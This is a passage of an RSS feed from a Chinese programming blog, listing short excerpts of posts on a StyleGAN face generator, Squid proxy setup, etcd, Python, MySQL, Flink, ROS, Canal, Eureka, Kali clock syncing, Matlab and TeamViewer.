      <link>https://bchobby.github.io/posts/b85842d785df5a24e779a58a0c6da9b9/</link>
      <pubDate>Thu, 11 Feb 2021 01:16:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b85842d785df5a24e779a58a0c6da9b9/</guid>
      <description>黄种人人脸生成器&#xA;更新：基于StyleGAN2制作的新版生成器消除了生成图片中水滴斑点和扭曲/损坏现象的出现，质量大幅提升。点此查看新版。&#xA;--------------------------------------------------------------------------------------------------------------------&#xA;注明：之前做的一些有意思的人脸生成器，现在全部开源分享出来。它的主要作用是可生成制作各类型的人脸素材，供我们任意使用且无须担心人脸版权的问题。在定制人脸上，开源的全系列生成器包括：&#xA;黄种人脸生成器，&#xA;网红脸生成器，&#xA;明星脸生成器，&#xA;超模脸生成器和&#xA;萌娃脸生成器，同时&#xA;人脸属性编辑器能够对所有这些生成器生成的人物进行调整和改变。&#xA;此项目已免费开源使用，模型版权拥有者为：&#xA;www.seeprettyface.com 。&#xA;这是一个用StyleGAN训练出的黄种人人脸生成器，生成效果如下所示。&#xA;生成示例&#xA;单张样本&#xA;概览(有筛选)&#xA;查看更多的1024px生成样本可以前往这里(提取码：A01B )，是一个含有5万张生成样本的黄种人脸数据集。&#xA;黄种人脸属性编辑&#xA;人脸属性编辑支持在年龄、笑容、角度、性别和光照等23个维度上对生成人物作出调整(详细了解请前往人脸属性编辑器处)。这儿只展示5种基本调整示例。&#xA;笑容调整&#xA;年龄调整&#xA;角度调整&#xA;性别调整&#xA;光照调整&#xA;运行代码&#xA;环境配置&#xA;Both Linux and Windows are supported, but we strongly recommend Linux for performance and compatibility reasons.&#xA;64-bit Python 3.6 installation. We recommend Anaconda3 with numpy 1.14.3 or newer.&#xA;TensorFlow 1.10.0 or newer with GPU support.&#xA;NVIDIA driver 391.35 or newer, CUDA toolkit 9.</description>
    </item>
    <item>
      <title>服务器搭建代理ip</title>
      <link>https://bchobby.github.io/posts/04a7d270f155f4431d8b72e5a837414d/</link>
      <pubDate>Wed, 10 Feb 2021 18:17:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/04a7d270f155f4431d8b72e5a837414d/</guid>
      <description>openssl 判断 openssl version -a 安装 yum install openssl squid yum install -y squid* net-tools yum install net-tools squid.conf 修改端口 开发防火墙 firewall-cmd –zone=public –add-port=1234/tcp –permanent firewall-cmd –reload 本机代理访问 curl -x 127.0.0.1:6128 www.baidu.com 配置所有人都能访问配置在http fllow acl client src 0.0.0.0/0 http_access allow client 配置账号和密码，不然所有人都能访问 httpd，Apache的主程序，生成用户和密码 是否安装 rpm -qa httpd 安装 yum install httpd 生成用户和密码 htpasswd -c /etc/squid/passwd guozh 配置用户 auth_param basic program /usr/lib64/squid/basic_ncsa_auth /etc/squid/passwd auth_param basic children 5 auth_param basic realm guozh&#39;s squid server auth_param basic credentialsttl 2 hours acl myacl proxy_auth REQUIRED http_access allow myacl systemctl restart squid dns_nameservers 114.</description>
    </item>
    <item>
      <title>python服务发现与注册_在系统中用etcd实现服务注册和发现</title>
      <link>https://bchobby.github.io/posts/7493d2d921384adee24106516b0c58da/</link>
      <pubDate>Wed, 10 Feb 2021 16:13:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7493d2d921384adee24106516b0c58da/</guid>
      <description>系统中实现服务注册与发现所需的基本功能有：服务注册：同一service的所有节点注册到相同目录下，节点启动后将自己的信息注册到所属服务的目录中。&#xA;健康检查：服务节点定时发送心跳，注册到服务目录中的信息设置一个较短的TTL，运行正常的服务节点每隔一段时间会去更新信息的TTL。&#xA;服务发现：通过名称能查询到服务提供外部访问的 IP 和端口号。比如网关代理服务时能够及时的发现服务中新增节点、丢弃不可用的服务节点，同时各个服务间也能感知对方的存在。&#xA;在分布式系统中，如何管理节点间的状态一直是一个难题，etcd 是由开发并维护的，它使用 Go 语言编写，并通过Raft 一致性算法处理日志复制以保证强一致性。etcd像是专门为集群环境的服务发现和注册而设计，它提供了数据 TTL 失效、数据改变监视、多值、目录监听、分布式锁原子操作等功能，可以方便的跟踪并管理集群节点的状态。&#xA;我们写两个 Demo 程序，一个服务充当service，一个客户端程序充当网关代理。服务运行后会去etcd 以自己服务名命名的目录中注册服务节点，并定时续租(更新 TTL)。客户端从 etcd查询服务目录中的节点信息代理服务的请求，并且会在协程中实时监控服务目录中的变化，维护到自己的服务节点信息列表中。&#xA;// 将服务注册到etcd上func RegisterServiceToETCD(ServiceTarget string, value string) {&#xA;dir = strings.TrimRight(ServiceTarget, &#34;/&#34;) + &#34;/&#34;&#xA;client, err := clientv3.New(clientv3.Config{&#xA;Endpoints: []string{&#34;localhost:2379&#34;},&#xA;DialTimeout: 5 * time.Second,&#xA;})&#xA;if err != nil {&#xA;panic(err)&#xA;}&#xA;kv := clientv3.NewKV(client)&#xA;lease := clientv3.NewLease(client)&#xA;var curLeaseId clientv3.LeaseID = 0&#xA;for {&#xA;if curLeaseId == 0 {&#xA;leaseResp, err := lease.</description>
    </item>
    <item>
      <title>python找出两个列表不同元素_python 找出两个列表的相同元素与不同元素</title>
      <link>https://bchobby.github.io/posts/cfaf7d9876a9f6d617b922cccb9a1b2a/</link>
      <pubDate>Wed, 10 Feb 2021 13:26:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cfaf7d9876a9f6d617b922cccb9a1b2a/</guid>
      <description>python 找出两个列表的相同元素与不同元素，用了以下几种方法&#xA;1. 通过set 集合&#xA;list1 = [1,2,3]&#xA;list2=[2,3,4]&#xA;set1 = set(list1)&#xA;set2 = set(list2)&#xA;print(set1&amp;amp;set2)&#xA;{2, 3}&#xA;print(set1^set2)&#xA;{1, 4}&#xA;2.利用for循环&#xA;&#39;&#39;&#39;&#xA;找出两个列表中的相同元素和不同元素。&#xA;&#39;&#39;&#39;&#xA;def find_diff_intwo_list(list1,list2):&#xA;&#39;&#39;&#39;&#xA;:param list1: 列表1&#xA;:param list2: 列表2&#xA;:return:&#xA;&#39;&#39;&#39;&#xA;same,diff=[],[]&#xA;seq=list(set(list2))&#xA;for i in list(set(list1)):&#xA;if i not in list2:&#xA;diff.append(i)&#xA;else:&#xA;same.append(i)&#xA;for j in same:&#xA;seq.remove(j)&#xA;print(&#34;same is {},diff is {}&#34;.format(same,diff+seq))&#xA;3.利用collections集合里的方法&#xA;def find_diff_by_twolist(list1,list2):&#xA;&#39;&#39;&#39;&#xA;:param list1: 列表1&#xA;:param list2: 列表2</description>
    </item>
    <item>
      <title>python删除一行代码_从python字符串中删除空行的快速一行程序是什么?</title>
      <link>https://bchobby.github.io/posts/5a7d2ebb0a3e94d5d3a51832560216ec/</link>
      <pubDate>Wed, 10 Feb 2021 01:21:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5a7d2ebb0a3e94d5d3a51832560216ec/</guid>
      <description>关于删除换行和带空格的空行的课程&#xA;“T”是带有文本的变量。您将看到一个“s”变量,它是一个临时变量,只存在于主括号集的计算过程中(忘记了这些lil python的名称)。&#xA;首先,让我们设置“t”变量,使其具有新行:&#xA;&amp;gt;&amp;gt;&amp;gt; t=&#39;hi there here is\na big line\n\nof empty\nline\neven some with spaces\n \nlike that\n\n \nokay now what?\n&#39;&#xA;注意:还有另一种方法可以使用三引号设置变量。&#xA;somevar=&#34;&#34;&#34;&#xA;asdfas&#xA;asdf&#xA;asdf&#xA;asdf&#xA;asdf&#xA;&#34;&#34;&#34;&#34;&#xA;以下是我们在没有“打印”的情况下查看时的外观:&#xA;&amp;gt;&amp;gt;&amp;gt; t&#xA;&#39;hi there here is\na big line\n\nof empty\nline\neven some with spaces\n \nlike that\n\n \nokay now what?\n&#39;&#xA;要查看实际换行,请打印它。&#xA;&amp;gt;&amp;gt;&amp;gt; print t&#xA;hi there here is&#xA;a big line&#xA;of empty&#xA;line&#xA;even some with spaces&#xA;like that&#xA;okay now what?</description>
    </item>
    <item>
      <title>mysql索引超出了数组接线_索引超出数组范围是什么意思</title>
      <link>https://bchobby.github.io/posts/c6174be8224e28d7584f84671221ebd9/</link>
      <pubDate>Mon, 08 Feb 2021 17:01:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c6174be8224e28d7584f84671221ebd9/</guid>
      <description>索引超出数组范围是指在通过索引获取数组内的值时，索引超出了数组的总长度，数组Array中有10个元素，它的总长度是10，索引是【0-9】，如果索引是10，则会报错。&#xA;索引超出了数组界限是指在通过索引获取数组内的值时，索引超出了数组的总长度。&#xA;例如：int[] Array = {1,2,3,4,5,6,7,8,9,10};&#xA;在这个int型数组Array中有10个元素，它的总长度是10，索引是0-9。&#xA;当使用for循环获取数组内的值时，如果索引是10，则会报错，错误原因是&#xA;索引超出了数组界限。for(int i=0;i&amp;lt;11;i++) {&#xA;System. out .println( String. format(“ 第%d元素的值是%\n&#34;,i+1 ,Array[i]));&#xA;}&#xA;扩展资料&#xA;数组的特点：&#xA;1、数组是相同数据类型的元素的集合。&#xA;2、数组中的各元素的存储是有先后顺序的，它们在内存中按照这个先后顺序连续存放在一起。&#xA;3、数组元素用整个数组的名字和它自己在数组中的顺序位置来表示。例如，a[0]表示名字为a的数组中的第一个元素，a[1]代表数组a的第二个元素，以此类推。相关免费学习推荐：编程视频</description>
    </item>
    <item>
      <title>Flink Window机制与Timer（含Window介绍、State状态的使用、定时器）</title>
      <link>https://bchobby.github.io/posts/d1364890ce5f8be5e7ad62e73c26666d/</link>
      <pubDate>Mon, 08 Feb 2021 16:47:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d1364890ce5f8be5e7ad62e73c26666d/</guid>
      <description>最近有一个实际的场景需求，需要实时统计总数，于是想到了flink，从入门到实战，整个过程中一直不断的思考实际业务中的问题，在flink中如何解决，与kafka-stream的对比和spark的对比等等。&#xA;整个思考和写出demo的过程中，对window机制有了深入的了解，并通过阅读flink java client的源码，了解了其trigger的实现。&#xA;本文从实际需求出发，通过提出问题解决问题，结合源码了解flink。&#xA;问题分析 从实际场景出发&#xA;场景：实时统计人流量总数，可以根据卡口按时段统计，可以是实时刷新，也可以是定期查询前一段时间。&#xA;流处理面临的问题&#xA;通常流处理框架，就是实时计算，数据源源不断输入，实时输出结果，所以面临以下几个问题：&#xA;窗口的划分数据乱序、延迟到达何时触发窗口计算计算状态的存储和过期 时间 通常流处理框架都有以下几个时间概念&#xA;Event Time：事件时间，从事件的消息体中提取时间Ingestion Time：到达时间，消息到达流处理器的时间(kafka-stream存在)Process Time：消息被处理的时间 前两者都可能存在乱序的情况(out of order)，process time可以保证时间顺序是递增的。&#xA;如何设置EventTime&#xA;flink 通过env.setStreamTimeCharacteristic(TimeCharacteristic.ProcessingTime)来设定流处理中window使用的时间类型（主要是用于划分window和管理window的生命周期，包括创建、销毁）&#xA;在flink流处理的Source中或者处理window之前，都可以通过调用assignTimestampsAndWatermarks来指定如何从消息中获得当前事件时间（watermark在后文讲）&#xA;窗口 窗口类型&#xA;Tumbling windows&#xA;翻转窗口：固定大小，窗口不重叠、窗口之间没有间隔Sliding windows&#xA;滑动时间窗口：由窗口大小和滑动间隔确定，例如窗口大小为5000，间隔（滑动）3000的窗口，可以得到[0;5000),[3000;8000),..Hopping windows&#xA;跳跃时间窗口：kafka自己的概念，和sliding相似，kafka说这是学术上的概念Session window&#xA;基于事件的，动态大小，例如间隔超出N（称为gap）没有新数据，之后的数据就是一个新session 从另一个维度来说，窗口可以是时间驱动的，即Time window，对应可以得到翻转时间窗口和滑动时间窗口；也可以是基于数据的，例如Count Window,当窗口数量达到一定值时关闭，可以得到翻转计数窗口和滑动计数窗口&#xA;Flink Window 原生支持&#xA;Tumbling Time WindowSliding Time WindowTumbling Count WindowSliding Count WindowSession Window 上文提到了如何获取时间，那么何时触发窗口的计算呢？&#xA;window的生命周期&#xA;创建：当第一个元素落入到window中的时候被创建触发：根据配置的trigger确定销毁：&#xA;根据配置的时间是event time还是process time，当获得到的当前event/process time, 大于窗口的endtime+watermark+lateness时候，窗口被销毁。&#xA;如果持续一段时间没有数据，也就不能获得最新的时间，则最后几个窗口会一直保持开启。 a window is created as soon as the first element that should belong to this window arrives, and the window is completely removed when the time (event or processing time) passes its end timestamp plus the user-specified allowed lateness(see Allowed Lateness)</description>
    </item>
    <item>
      <title>mysql的innodb死锁问题_InnoDB数据库死锁问题处理_MySQL</title>
      <link>https://bchobby.github.io/posts/213c96b746d16176086aef3bc2dfdc5d/</link>
      <pubDate>Mon, 08 Feb 2021 15:53:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/213c96b746d16176086aef3bc2dfdc5d/</guid>
      <description>InnoDB数据库死锁问题处理_MySQL&#xA;场景描述&#xA;在update表的时候出现DeadlockLoserDataAccessException异常 (Deadlock found when trying to get lock; try restarting transaction...)。&#xA;问题分析&#xA;这个异常并不会影响用户使用，因为数据库遇到死锁会自动回滚并重试。用户的感觉就是操作稍有卡顿。但是监控老是报异常，所以需要解决一下。&#xA;解决方法&#xA;在应用程序中update的地方使用try-catch。&#xA;我自己封装了一个函数，如下。&#xA;/**&#xA;* 2016-03-15&#xA;* linxuan&#xA;* handle deadlock while update table&#xA;*/&#xA;private void updateWithDeadLock(TestMapper mapper, Test record) throws InterruptedException {&#xA;boolean oops;&#xA;int retries = 5;&#xA;do{&#xA;oops = false;&#xA;try{&#xA;mapper.updateByPrimaryKeySelective(record);&#xA;}&#xA;catch (DeadlockLoserDataAccessException dlEx){&#xA;oops = true;&#xA;Thread.sleep((long) (Math.random() * 500));&#xA;}&#xA;finally {&#xA;}&#xA;} while(oops == true &amp;amp;&amp;amp; retries-- &amp;gt;0);</description>
    </item>
    <item>
      <title>成功解决ROS报错RLException: [turtlebot3_fake.launch] is neither a launch file in package [turtlebot3_fake]</title>
      <link>https://bchobby.github.io/posts/7ffc603600cb4d1882ad29f3cf934afe/</link>
      <pubDate>Mon, 08 Feb 2021 14:38:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7ffc603600cb4d1882ad29f3cf934afe/</guid>
      <description>成功解决ROS报错RLException: [turtlebot3_fake.launch] is neither a launch file in package [turtlebot3_fake] nor is [turtlebot3_fake] a launch file name&#xA;解决方案 错误原因为环境变量设置有问题&#xA;运行下方代码后再执行roslaunch&#xA;source ~/catkin_ws/devel/setup.bash roslaunch turtlebot3_fake turtlebot3_fake.launch 参考资料 [1]链接: https://community.bwbot.org/topic/603&#xA;没有安装对应的软件包&#xA;看看你的src文件夹内是不是有对应的软件包&#xA;软件包名称输入错误&#xA;输入软件包名称和launch文件名称时可以使用tab键自动补全。&#xA;环境变量设置有问题&#xA;在执行roslaunch前是否执行了source /opt/ros/kinetic/setup.bash（以kinetic版本为例）和source你的工作空间。&#xA;如果是通过修改~/.bashrc文件的方式改变环境变量。对应的修改要重新开启一个命令行窗口后才会生效。&#xA;可以通过roscd 你的包来测试一下环境变量是否有问题。如果正常，那么你应该能通过这种方式进入自己的软件包。&#xA;不是一个有效的ROS软件包&#xA;比如自己写的一个ROS包，但是没有添加CMakeLists.txt文件和package.xml文件</description>
    </item>
    <item>
      <title>Canal原理及其使用</title>
      <link>https://bchobby.github.io/posts/973b086540f10cdab4c0e172202ef47b/</link>
      <pubDate>Mon, 08 Feb 2021 12:21:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/973b086540f10cdab4c0e172202ef47b/</guid>
      <description>1 什么是canal canal是用java开发的基于数据库增量日志解析，提供增量数据订阅&amp;amp;消费的中间件。目前，canal主要支持了MySQL的binlog解析，解析完成后才利用canal client 用来处理获得的相关数据。（数据库同步需要阿里的otter中间件，基于canal）&#xA;2 canal使用场景 （1）阿里otter（阿里用于进行异地数据库之间的同步框架）中间件的一部分，这是原始场景&#xA;（2）更新缓存：如果有大量的请求发送到mysql的话，mysql查询速度慢，QPS上不去，光查mysql可能会瘫痪，那就可以在前面加个缓存，这个缓存有2个主要的问题。一是缓存没有怎么办，二是数据不一致怎么办。对于第一个问题查缓存没有就差mysql，mysql再往缓存中写一份。对于第二个问题，如果数据库修改了，那就采用异步的方式进行修改，启动一个canal服务，监控mysql，只要一有变化就同步缓存，这样mysql和缓存就能达到最终的一致性。&#xA;（3）抓取业务数据新增变化表，用于制作拉链表：做拉链表是需要有增加时间和修改时间的，需要数据今天新增和变化的数据，如果时间不全就没办法知道哪些是修改的。可以通过canal把变化的抽到自己的表里，以后数据就从这个表出。&#xA;（4）取业务表的新增变化数据，用于制作实时统计&#xA;3 canal工作原理 首先了解一下mysql主备复制原理：&#xA;（1）master主库将改变记录，发送到二进制文件（binary log）中&#xA;（2）slave从库向mysql Master发送dump协议，将master主库的binary log events拷贝到它的中继日志（relay log）&#xA;（3）slave从库读取并重做中继日志中的事件，将改变的数据同步到自己的数据库&#xA;canal的工作原理：把自己伪装成slave，从master复制数据。读取binlog是需要master授权的，因为binlog是加密的，授权分用户名密码才能读。master授权后不知道读他的binlog的是从机还是canal，他的所有传输协议都符合从机的标准，所以master一直以为是从机读的。&#xA;4 mysql的binlog 4.1 二进制日志 mysql的二进制日志记录了所有的DDL和DML（除了数据查询语句），以事件的形式进行记录，包含语句执行消耗的时间，mysql的二进制日志是事务安全型的。&#xA;开启二进制日志大概会有1%的性能损坏。二进制日志有2个主要的使用场景：①mysql的主备复制②数据恢复，通过使用mysqlbinlog工具来恢复数据（用这个做恢复是备选方案，主方案还是定期快照，定期执行脚本导数据，其实就是把当前所有数据导成insert，这个量少）&#xA;二进制日志包括2类文件：①二进制日志索引文件（后缀为.index）用于记录所有的二进制文件②二进制日志文件（后缀为.00000*）记录数据库所有的DDL和DML（除了数据查询语句）&#xA;4.2 开启binlog 修改mysql的配置文件my.cnf。&#xA;# vim /etc/my.cnfgG 在[mysqld] 区块 添加&#xA;log-bin=mysql-bin mysql-bin表示binlog日志的前缀，以后生成的的日志文件就是 mysql-bin.000001 的文件后面的数字按顺序生成。 当mysql重启或到达单个文件大小的阈值时，新生一个文件，按顺序编号。&#xA;4.3 binlog分类 binlog的格式有三种：STATEMENT,MIXED,ROW对比如下&#xA;格式描述优点STATEMENT语句级别，记录每一次执行写操作的语句，相对于ROW模式节省了空间，但是可能产生数据不一致如update tt set create_date=now()，由于执行时间不同产生饿得数据就不同节省空间可能造成数据不一致ROW行级，记录每次操作后每行记录的变化。假如一个update的sql执行结果是1万行statement只存一条，如果是row的话会把这个1000行的结果存这。持数据的绝对一致性。因为不管sql是什么，引用了什么函数，他只记录执行后的效果占用较大空间MIXED是对statement的升级，如当函数中包含 UUID() 时，包含 AUTO_INCREMENT 字段的表被更新时，执行 INSERT DELAYED 语句时，用 UDF 时，会按照 ROW的方式进行处理节省空间，同时兼顾了一定的一致性还有些极个别情况依旧会造成不一致，另外statement和mixed对于需要对binlog的监控的情况都不方便 4.4 binlog格式选择 如果只考虑主从复制的话可以用mixed，一般情况下使用statement，遇到几种特殊情况使用row，同步的话有SQL就行，因为手里有数据，前提是有数据才能执行这个SQL。在大数据场景下我们抽取数据是用于统计分析，分析的数据，如果用statement抽了SQL手里也没数据，不知道执行修改哪些，因为没有数据，所以没办法分析，所以适合用row，清清楚楚的表明了每一行是什么样。&#xA;4.5 修改配置文件 修改my.cnf文件，在[mysqld]模块下添加如下内容&#xA;server-id= 1 log-bin=mysql-bin binlog_format=row binlog-do-db=bigdata binlog-do-db用于指定库，缩小监控的范围，server-id不能和mysql集群的其他节点重复</description>
    </item>
    <item>
      <title>Eureka报错笔记</title>
      <link>https://bchobby.github.io/posts/4b96275e023526ee0db6981091f2d849/</link>
      <pubDate>Mon, 08 Feb 2021 10:15:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4b96275e023526ee0db6981091f2d849/</guid>
      <description>Eureka报错 概述 分享一个eureka的错误及解决方案，话不多说上代码&#xA;org.apache.http.conn.ConnectTimeoutException: Connect to eureka7001.com:7001 timed out com.sun.jersey.api.client.ClientHandlerException: java.net.ConnectException: Connection refused: connect com.netflix.discovery.shared.transport.TransportException: Cannot execute request on any known server 解决方案，修改C:\Windows\System32\drivers\etc下的host文件&#xA;具体操作，点击电脑左下角搜索框，搜索记事本，选择管理员身份运行。点击文件——》打开——》找到C:\Windows\System32\drivers\etc下的host文件，添加属性&#xA;127.0.0.1 eureka7001.com&#xA;127.0.0.1 eureka7002.com&#xA;点击保存。这个时候只能另存。不过没关系。保存为host.txt文件后。将原本的host文件删除。修改host.txt的后缀名。把txt干掉即可。如果不显示文件后缀名可参考&#xA;https://jingyan.baidu.com/article/7c6fb428f01e8c80642c90e0.html&#xA;ps:第二天运行报错了检查一下host文件。我的电脑关机之后，修改的内容被清空了</description>
    </item>
    <item>
      <title>来日正长</title>
      <link>https://bchobby.github.io/posts/41b2e5cde248ed634ef958bf28aaab39/</link>
      <pubDate>Sun, 07 Feb 2021 11:03:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/41b2e5cde248ed634ef958bf28aaab39/</guid>
      <description>大家好，我是目前在帝都奋斗的一名程序员。&#xA;我目前的工作是一名爬虫工程师，之前在这个领域里也下了不少功夫，在爬虫方面如果大家有需要我帮助的，尽管向我咨询。之前也接触过一段时间的nlp算法，并且github上的一个nlp入门项目还获得了不少star,所以nlp方面指引一下新手也还是可以的。本来想从爬虫入手，最终成为一名nlp算法工程师，后来发现自己的学历是个硬伤，而且随着时间的推移，自己对算法也慢慢变的没有那么感兴趣了。&#xA;由于公司业务需要，我后面可能会慢慢转向后端，这也是我希望的，因为我喜欢接触新的知识。同时2021年我决定进行考研，算是了结自己的一个遗憾吧，总得尝试一下。&#xA;开通这个公众号的目的，一方面是希望能给予更多的人帮助，希望你们看到我分享的经验之后能够给你们一些启发，另一方面也是顺便记录一下自己的奋斗历程。&#xA;来日正长，大家一起加油！</description>
    </item>
    <item>
      <title>2021最新kali更新系统时间教程</title>
      <link>https://bchobby.github.io/posts/ffd570bf55c15cccb51d02d9f59da999/</link>
      <pubDate>Sun, 07 Feb 2021 10:58:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ffd570bf55c15cccb51d02d9f59da999/</guid>
      <description>查看系统时间&#xA;date&#xA;查看硬件时间&#xA;hwlock --show&#xA;安装ntpdate&#xA;apt-get install -y ntpdate&#xA;删除etc/localtime文件&#xA;rm -rf etc/localtime&#xA;复制shanghai时区文件替换到这里&#xA;cp /usr/share/zoneinfo/Asia/Shanghai /etc/localtime&#xA;更新时间&#xA;ntpdate -u ntp.api.bz&#xA;此时系统时间已经更新&#xA;将系统时间同步到硬件时间&#xA;hwclock -w&#xA;从上到下一步一步执行即可，记得先快照一下系统</description>
    </item>
    <item>
      <title>Matlab下地形图绘图包m_map绘图包绘制高分辨率海岸线、国界线与河流</title>
      <link>https://bchobby.github.io/posts/3d859077baac3bce848c3bdd8f40413a/</link>
      <pubDate>Sat, 06 Feb 2021 21:20:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3d859077baac3bce848c3bdd8f40413a/</guid>
      <description>1. 前言 之前说了m_map的下载、安装与基本使用（Matlab下地形图绘图包m_map安装与使用），以及晕渲地形图的绘制（m_map绘制晕渲（shaded relief）地形图），现在再说一下高分辨率海岸线、国界线与河流的绘制。&#xA;2. 安装 高分辨率地形和海岸线数据的安装已经在Matlab下地形图绘图包m_map安装与使用中说的比较详细了，这里不再赘述。&#xA;3. 参数设置 可以打开m_gshhs函数查看具体设置。&#xA;&amp;gt;&amp;gt; help m_gshhs m_gshhs Add a coastline to a given map using the Global Self-consistant Hierarchical High-resolution Shorelines, Rivers, and Borders m_gshhs(RES, (standard line option,...,...) ) draws the coastline river network, or borders as simple lines. m_gshhs(RES,&#39;patch&#39; ( ,standard patch options,...,...) ) draws the coastline as a number of patches (rivers and borders are not arranged so patches can be drawn).</description>
    </item>
    <item>
      <title>TeamViewer作为个人用途免费，但仅可使用在有限数量的设备上。您已经到达可使用设备的上线</title>
      <link>https://bchobby.github.io/posts/0ffdc6db18e3af8a122658832036de99/</link>
      <pubDate>Sat, 06 Feb 2021 19:43:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0ffdc6db18e3af8a122658832036de99/</guid>
      <description>如题 现象如下解决办法经过以上5个步骤，问题可解 现象如下 解决办法 首先登录官网：https://login.teamviewer.com/&#xA;经过以上5个步骤，问题可解 本文转载自csdn文章：[解决]:【TeamViewer作为个人用途免费，但仅可使用在有限数量的设备上。您已经到达可使用设备的上线】</description>
    </item>
    <item>
      <title>ezpolt和plot区别_stem与plot的区别</title>
      <link>https://bchobby.github.io/posts/e1442e7b355cc339ab4eec9e401cfe30/</link>
      <pubDate>Sat, 06 Feb 2021 18:44:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e1442e7b355cc339ab4eec9e401cfe30/</guid>
      <description>展开全部&#xA;一、函数类型不同&#xA;stem画出来是离散函数，杆32313133353236313431303231363533e58685e5aeb931333431366237图。&#xA;plot是连续函数。&#xA;二、绘制的图形不同&#xA;在matlab中，stem函数用于绘制火柴梗图。stem英文有“(工具的)柄,把,杆，茎,(树)干,(叶)柄的意思。&#xA;plot则是普通的连续曲线。&#xA;扩展资料：&#xA;一、plot函数语法&#xA;plot函数的基本调用格式为：&#xA;1、plot(y)&#xA;当y为向量时，是以y的分量为纵坐标，以元素序号为横坐标，用直线依次连接数据点，绘制曲线。若y为实矩阵，则按列绘制每列对应的曲线。&#xA;2、plot(x,y)&#xA;若y和x为同维向量，则以x为横坐标,y为纵坐标绘制连线图。若x是向量，y是行数或列数与x长度相等的矩阵，则绘制多条不同色彩的连线图，x被作为这些曲线的共同横坐标。若x和y为同型矩阵，则以x,y对应元素分别绘制曲线，曲线条数等于矩阵列数。&#xA;3、plot(x1,y1,x2,y2,……)&#xA;在此格式中，每对x,y必须符合plot(x,y)中的要求，不同对之间没有影响，命令将对每一对x,y绘制曲线。&#xA;以上三种格式中的x,y都可以是表达式。plot是绘制一维曲线的基本函数，但在使用此函数之前，须先定义曲线上每一点的x以及y坐标。</description>
    </item>
    <item>
      <title>mysql如何给空值默认值_如何在MySQL中将默认值设置为NULL？</title>
      <link>https://bchobby.github.io/posts/c7a2ff9f4a960b7f810cd7a03e0d0b37/</link>
      <pubDate>Sat, 06 Feb 2021 16:25:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c7a2ff9f4a960b7f810cd7a03e0d0b37/</guid>
      <description>在MySQL中使用DEFAULT关键字将默认值设置为NULL。让我们首先创建一个-mysql&amp;gt; create table DemoTable1440&#xA;-&amp;gt; (&#xA;-&amp;gt; StudentId int NOT NULL AUTO_INCREMENT PRIMARY KEY,&#xA;-&amp;gt; StudentName varchar(20) DEFAULT NULL,&#xA;-&amp;gt; StudentAge int DEFAULT NULL&#xA;-&amp;gt; );&#xA;使用insert命令在表中插入一些记录。对于保留为空的值，将插入默认值-mysql&amp;gt; insert into DemoTable1440(StudentName,StudentAge) values(&#39;Chris&#39;,21);&#xA;mysql&amp;gt; insert into DemoTable1440 values();&#xA;mysql&amp;gt; insert into DemoTable1440(StudentName) values(&#39;David&#39;);&#xA;mysql&amp;gt; insert into DemoTable1440(StudentAge) values(24);&#xA;使用选择显示表中的所有记录-mysql&amp;gt; select * from DemoTable1440;&#xA;这将产生以下输出-+-----------+-------------+------------+&#xA;| StudentId | StudentName | StudentAge |&#xA;+-----------+-------------+------------+&#xA;| 1 | Chris | 21 |&#xA;| 2 | NULL | NULL |</description>
    </item>
    <item>
      <title>Ocean Date View (ODV) 使用教程</title>
      <link>https://bchobby.github.io/posts/c4eb603cb4f18c2b6034df420dc82b3a/</link>
      <pubDate>Fri, 05 Feb 2021 21:28:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c4eb603cb4f18c2b6034df420dc82b3a/</guid>
      <description>1.ODV 简介 Ocean Data View（http://odv.awi.de/）是一个用于交互式勘探和图形显示海洋和其他地学参考剖面、轨迹或时间序列数据的计算机程序。该软件可用于Windows、Mac OS、Linux 和 Unix 系统。ODV 数据和设置文件独立于平台，可在所有支持的系统之间进行交换。&#xA;ODV 允许用户在廉价的便携式硬件上维护和分析非常大的数据集。它可以十分容易生成各种格式的输出图形，包括高质量站位图、单站或多站属性交会图、选定测站散点图、任意航线剖面图和属性平面分布等值面图。&#xA;ODV 支持通过彩色点、数字值或箭头显示原始标量和矢量数据。此外，还可以在三种不同的网格算法之间进行选择，提供对自动生成的网格的计算，并允许对区域和等轴面上的字段进行颜色着色和轮廓绘制。&#xA;2. 使用教程 详细的中文使用教程可参考百度文库：Ocean Date View中文教程</description>
    </item>
    <item>
      <title>电脑开机出现奇怪字符_电脑开机黑屏怎么办出现英文字符</title>
      <link>https://bchobby.github.io/posts/253ffed52dd3a8796c63ef06d8386bf1/</link>
      <pubDate>Fri, 05 Feb 2021 20:16:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/253ffed52dd3a8796c63ef06d8386bf1/</guid>
